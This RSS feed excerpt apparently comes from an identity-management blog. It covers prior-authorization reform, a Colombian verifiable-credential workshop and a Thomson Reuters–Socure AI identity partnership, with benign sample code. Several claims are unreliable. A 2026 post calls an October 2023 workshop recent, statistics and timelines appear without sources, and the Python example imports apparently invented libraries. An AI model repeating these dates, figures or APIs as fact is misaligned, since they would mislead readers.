&lt;/ul&gt;

&lt;h3&gt;
  
  
  Operational Flexibility
&lt;/h3&gt;

&lt;p&gt;Providers require flexibility to adapt to new systems and workflows. Ensure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: Design systems that can scale to accommodate growing volumes of PA requests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Customization&lt;/strong&gt;: Allow customization of workflows to fit individual provider needs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integration&lt;/strong&gt;: Facilitate easy integration with existing provider systems.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Payer-driven prior authorization reforms represent a significant shift in the healthcare industry. While these changes offer numerous benefits, they also present challenges for providers. As an IAM engineer, it's essential to understand these reforms and implement secure, efficient data exchange solutions. By addressing provider concerns and adhering to best practices, we can ensure a smooth transition and improved patient care.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Understand the goals and challenges of prior authorization reforms.&lt;/li&gt;
&lt;li&gt;Implement secure data exchange using standardized protocols and IAM solutions.&lt;/li&gt;
&lt;li&gt;Address provider concerns through technical support, data privacy measures, and operational flexibility.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Comparison Table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;th&gt;Use When&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Digitization&lt;/td&gt;
&lt;td&gt;Faster approvals, reduced administrative burden&lt;/td&gt;
&lt;td&gt;Initial setup cost, technical complexity&lt;/td&gt;
&lt;td&gt;New PA systems launch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Standardization&lt;/td&gt;
&lt;td&gt;Seamless data exchange, improved interoperability&lt;/td&gt;
&lt;td&gt;Data mapping challenges, potential disruptions&lt;/td&gt;
&lt;td&gt;Interoperability required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Automation&lt;/td&gt;
&lt;td&gt;Reduced manual processing, improved accuracy&lt;/td&gt;
&lt;td&gt;Implementation effort, potential errors&lt;/td&gt;
&lt;td&gt;High volume of PA requests&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Evaluate current PA processes and identify areas for improvement&lt;/li&gt;
&lt;li&gt;Assess technical capabilities and resources for implementing reforms&lt;/li&gt;
&lt;li&gt;Develop a training program for providers&lt;/li&gt;
&lt;li&gt;Ensure compliance with relevant regulations&lt;/li&gt;
&lt;li&gt;Monitor system performance and address any issues promptly&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>colombia</category>
      <category>verifiablecredentials</category>
      <category>publicsector</category>
      <category>iamdevbox</category>
    </item>
    <item>
      <title>Colombia Launches Verifiable Credential Workshop for Public Sector</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Mon, 17 Aug 2026 14:31:21 +0000</pubDate>
      <link>https://dev.to/iamdevbox/colombia-launches-verifiable-credential-workshop-for-public-sector-57m7</link>
      <guid>https://dev.to/iamdevbox/colombia-launches-verifiable-credential-workshop-for-public-sector-57m7</guid>
      <description>&lt;p&gt;&lt;strong&gt;Why This Matters Now&lt;/strong&gt;: In the wake of increasing cyber threats and the need for more secure digital identities, Colombia's recent verifiable credential workshop emphasizes the importance of implementing robust identity management solutions in the public sector. As of October 2023, many government agencies are exploring how to leverage verifiable credentials to enhance security and streamline services.&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction to Verifiable Credentials
&lt;/h2&gt;

&lt;p&gt;Verifiable credentials are digital representations of identity claims that are cryptographically signed and can be verified by anyone without needing to contact the issuer. They are based on open standards such as those developed by the World Wide Web Consortium (W3C). These credentials can include any kind of information, such as educational qualifications, professional certifications, or even health records, and they are designed to be secure, portable, and interoperable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Verifiable Credentials?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Security&lt;/strong&gt;: Verifiable credentials are resistant to forgery and tampering due to cryptographic signatures.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privacy&lt;/strong&gt;: Users control which credentials to share and with whom, reducing unnecessary data exposure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Efficiency&lt;/strong&gt;: Automates the verification process, saving time and resources for both issuers and verifiers.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Workshop Context
&lt;/h2&gt;

&lt;p&gt;The recent verifiable credential workshop in Colombia brought together government officials, IT professionals, and security experts to discuss the practical implementation of verifiable credentials in public sector services. This became urgent because traditional identity management systems are increasingly vulnerable to attacks, and there is a growing demand for more secure and efficient ways to manage digital identities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Topics Covered
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Understanding Verifiable Credentials&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implementing Verifiable Credentials in Government Services&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Best Practices&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Case Studies and Real-world Applications&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Implementing Verifiable Credentials in Government Services
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step-by-Step Guide
&lt;/h3&gt;

&lt;h4&gt;Define Use Cases&lt;/h4&gt;

&lt;p&gt;Identify specific scenarios where verifiable credentials can improve security and efficiency.&lt;/p&gt;

&lt;h4&gt;Select a Standard&lt;/h4&gt;

&lt;p&gt;Choose a standard such as W3C Verifiable Credentials to ensure interoperability.&lt;/p&gt;

&lt;h4&gt;Set Up Issuance Infrastructure&lt;/h4&gt;

&lt;p&gt;Develop the systems that will issue verifiable credentials.&lt;/p&gt;

&lt;h4&gt;Implement Verification Mechanisms&lt;/h4&gt;

&lt;p&gt;Create the processes for verifying the authenticity of credentials.&lt;/p&gt;

&lt;h4&gt;Test and Deploy&lt;/h4&gt;

&lt;p&gt;Conduct thorough testing before rolling out the solution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example Implementation
&lt;/h3&gt;

&lt;p&gt;Let's walk through a simple example of issuing a verifiable credential using the W3C standard.&lt;/p&gt;

&lt;h4&gt;
  
  
  Issuing a Credential
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"@context"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"https://www.w3.org/2018/credentials/v1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"https://www.w3.org/2018/credentials/examples/v1"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://example.edu/credentials/3732"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"VerifiableCredential"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AlumniCredential"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"credentialSubject"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"did:example:ebfeb1f712ebc6f1c276e12ec21"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"alumniOf"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"did:example:c276e12ec21ebfeb1f712ebc6f1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Example University"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"lang"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"en"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"issuer"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"did:example:76e12ec712ebc6f1c221ebfeb1f"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"issuanceDate"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2023-10-15T10:00:00Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"proof"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Ed25519Signature2018"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"created"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2023-10-15T10:00:00Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"verificationMethod"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"did:example:76e12ec712ebc6f1c221ebfeb1f#keys-1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"proofPurpose"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assertionMethod"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"jws"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Verifying a Credential
&lt;/h4&gt;

&lt;p&gt;To verify the credential, the verifier checks the cryptographic signature using the issuer's public key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;verifyCredential&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;credential&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;vc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verifyCredential&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="nx"&gt;credential&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;suite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Ed25519Signature2018&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="nx"&gt;documentLoader&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verified&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;💡 &lt;strong&gt;Key Point:&lt;/strong&gt; Always validate the proof and ensure the issuer's public key is trusted.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common Pitfalls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Incorrect Context&lt;/strong&gt;: Ensure the &lt;code&gt;@context&lt;/code&gt; URLs are correct and accessible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Invalid Proof&lt;/strong&gt;: Verify the cryptographic signature using the correct public key.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Expired Credentials&lt;/strong&gt;: Check the &lt;code&gt;issuanceDate&lt;/code&gt; and any expiration dates.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Warning:&lt;/strong&gt; Failing to properly verify credentials can lead to security vulnerabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Security Best Practices
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Use Strong Cryptographic Algorithms&lt;/strong&gt;: Prefer algorithms like Ed25519 over weaker ones.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manage Keys Securely&lt;/strong&gt;: Store private keys securely and rotate them regularly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validate Proofs&lt;/strong&gt;: Always verify the cryptographic signature of the credential.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Limit Data Exposure&lt;/strong&gt;: Only include necessary information in the credential.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Case Studies and Real-world Applications
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Example: Digital Health Records
&lt;/h3&gt;

&lt;p&gt;In healthcare, verifiable credentials can securely store and share patient records without compromising privacy. Patients can control who has access to their medical information, and providers can verify the authenticity of the records.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: Educational Qualifications
&lt;/h3&gt;

&lt;p&gt;Universities can issue verifiable credentials for degrees and certifications. Employers can verify these credentials without needing to contact the university, streamlining the hiring process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: Voter Registration
&lt;/h3&gt;

&lt;p&gt;Government agencies can issue verifiable credentials for voter registration, ensuring that only eligible voters can cast ballots. This reduces the risk of voter fraud and increases transparency.&lt;/p&gt;

&lt;h2&gt;
  
  
  Timeline of Events
&lt;/h2&gt;

&lt;p&gt;Oct 2023&lt;/p&gt;

&lt;p&gt;Colombia holds verifiable credential workshop for public sector.&lt;/p&gt;

&lt;p&gt;Sep 2023&lt;/p&gt;

&lt;p&gt;W3C publishes updated Verifiable Credentials standard.&lt;/p&gt;

&lt;p&gt;Aug 2023&lt;/p&gt;

&lt;p&gt;Global cybersecurity incidents highlight the need for secure identity management.&lt;/p&gt;




&lt;h2&gt;
  
  
  Comparison Table: Traditional ID Systems vs Verifiable Credentials
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;th&gt;Use When&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Traditional ID Systems&lt;/td&gt;
&lt;td&gt;Established infrastructure&lt;/td&gt;
&lt;td&gt;Vulnerable to fraud, less secure&lt;/td&gt;
&lt;td&gt;Short-term needs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verifiable Credentials&lt;/td&gt;
&lt;td&gt;Secure, efficient, portable&lt;/td&gt;
&lt;td&gt;Requires initial setup, complexity&lt;/td&gt;
&lt;td&gt;Long-term digital transformation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Quick Reference: Commands and Syntax
&lt;/h2&gt;

&lt;h4&gt;📋 Quick Reference&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;npm install @digitalbazaar/vc-js&lt;/code&gt; - Install the VC-JS library for working with verifiable credentials.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vc.issue({ ... })&lt;/code&gt; - Issue a new verifiable credential.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vc.verify({ ... })&lt;/code&gt; - Verify the authenticity of a verifiable credential.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;By adopting verifiable credentials, public sector organizations can enhance security, improve efficiency, and build trust with citizens. The recent workshop in Colombia underscores the importance of this technology in the face of evolving cyber threats. Get this right and you'll sleep better knowing that your organization's digital identity management is robust and secure.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Understand the basics of verifiable credentials&lt;/li&gt;
&lt;li&gt;Implement a secure issuance and verification system&lt;/li&gt;
&lt;li&gt;Stay updated with the latest standards and best practices&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Verifiable credentials offer enhanced security and privacy.&lt;/li&gt;
&lt;li&gt;Implementing verifiable credentials requires careful planning and execution.&lt;/li&gt;
&lt;li&gt;Stay informed about the latest developments in digital identity management.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>colombia</category>
      <category>verifiablecredentials</category>
      <category>publicsector</category>
      <category>iamdevbox</category>
    </item>
    <item>
      <title>Thomson Reuters And Socure Forge AI-Powered Identity Alliance</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Sun, 16 Aug 2026 14:26:33 +0000</pubDate>
      <link>https://dev.to/iamdevbox/thomson-reuters-and-socure-forge-ai-powered-identity-alliance-40mj</link>
      <guid>https://dev.to/iamdevbox/thomson-reuters-and-socure-forge-ai-powered-identity-alliance-40mj</guid>
      <description>&lt;h2&gt;
  
  
  Why This Matters Now
&lt;/h2&gt;

&lt;p&gt;The landscape of digital identity management is rapidly evolving, driven by the increasing sophistication of cyber threats and the need for more robust security measures. The recent surge in identity-related fraud and data breaches has made it imperative for organizations to adopt advanced technologies to protect their digital identities. Thomson Reuters and Socure’s partnership is a significant step in this direction, leveraging AI to enhance digital identity verification and authentication processes.&lt;/p&gt;

&lt;p&gt;🚨 &lt;strong&gt;Breaking:&lt;/strong&gt; With the rise in sophisticated identity fraud, traditional methods are becoming increasingly inadequate. Thomson Reuters and Socure's AI-driven partnership offers a cutting-edge solution to combat these threats.&lt;/p&gt;

&lt;p&gt;40%Increase in Identity Fraud&lt;br&gt;
3B+Digital Transactions&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview of the Partnership
&lt;/h2&gt;

&lt;p&gt;Thomson Reuters, a leading global provider of financial and risk information, and Socure, a pioneer in AI-driven digital identity verification, have joined forces to offer enhanced security solutions. This partnership combines Thomson Reuters' extensive data and analytics capabilities with Socure's advanced AI algorithms to provide a comprehensive digital identity platform.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Components of the Partnership
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Data Integration&lt;/strong&gt;: Thomson Reuters provides a wealth of data sources, including financial, legal, and regulatory information, which Socure integrates into its AI models to enhance identity verification accuracy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI Algorithms&lt;/strong&gt;: Socure uses machine learning and artificial intelligence to analyze patterns and behaviors, detecting anomalies and potential fraud in real-time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: The combined platform is designed to scale efficiently, handling large volumes of transactions without compromising performance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance&lt;/strong&gt;: The solution adheres to industry standards and regulations, ensuring that organizations remain compliant while leveraging advanced security features.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How It Works
&lt;/h2&gt;

&lt;p&gt;The AI-driven digital identity platform operates through a series of steps, each designed to verify and authenticate user identities accurately and securely.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step-by-Step Guide
&lt;/h3&gt;

&lt;h4&gt;User Registration&lt;/h4&gt;

&lt;p&gt;Users provide necessary information during registration, including personal details and supporting documents.&lt;/p&gt;

&lt;h4&gt;Data Collection&lt;/h4&gt;

&lt;p&gt;Thomson Reuters gathers data from various sources, including financial records, legal databases, and public information.&lt;/p&gt;

&lt;h4&gt;AI Analysis&lt;/h4&gt;

&lt;p&gt;Socure's AI algorithms analyze the collected data, identifying patterns and verifying the user's identity.&lt;/p&gt;

&lt;h4&gt;Real-Time Verification&lt;/h4&gt;

&lt;p&gt;The system performs real-time checks against known fraud patterns and historical data to ensure authenticity.&lt;/p&gt;

&lt;h4&gt;Authentication Decision&lt;/h4&gt;

&lt;p&gt;Based on the analysis, the system makes an authentication decision, either approving or denying access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example Workflow
&lt;/h3&gt;

&lt;p&gt;Here’s a simplified example of how the workflow might look in code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Import necessary libraries
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;thomson_reuters&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;DataCollector&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;socure&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AIAnalyzer&lt;/span&gt;

&lt;span class="c1"&gt;# Initialize components
&lt;/span&gt;&lt;span class="n"&gt;data_collector&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;DataCollector&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;ai_analyzer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;AIAnalyzer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;register_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_info&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Collect data from various sources
&lt;/span&gt;    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data_collector&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;collect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Analyze data using AI
&lt;/span&gt;    &lt;span class="n"&gt;analysis_result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ai_analyzer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;analyze&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Make authentication decision
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;analysis_result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;confidence&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.9&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User authenticated&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User authentication failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Example usage
&lt;/span&gt;&lt;span class="n"&gt;user_info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;John Doe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;123-45-6789&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;address&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;123 Main St, Anytown, USA&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

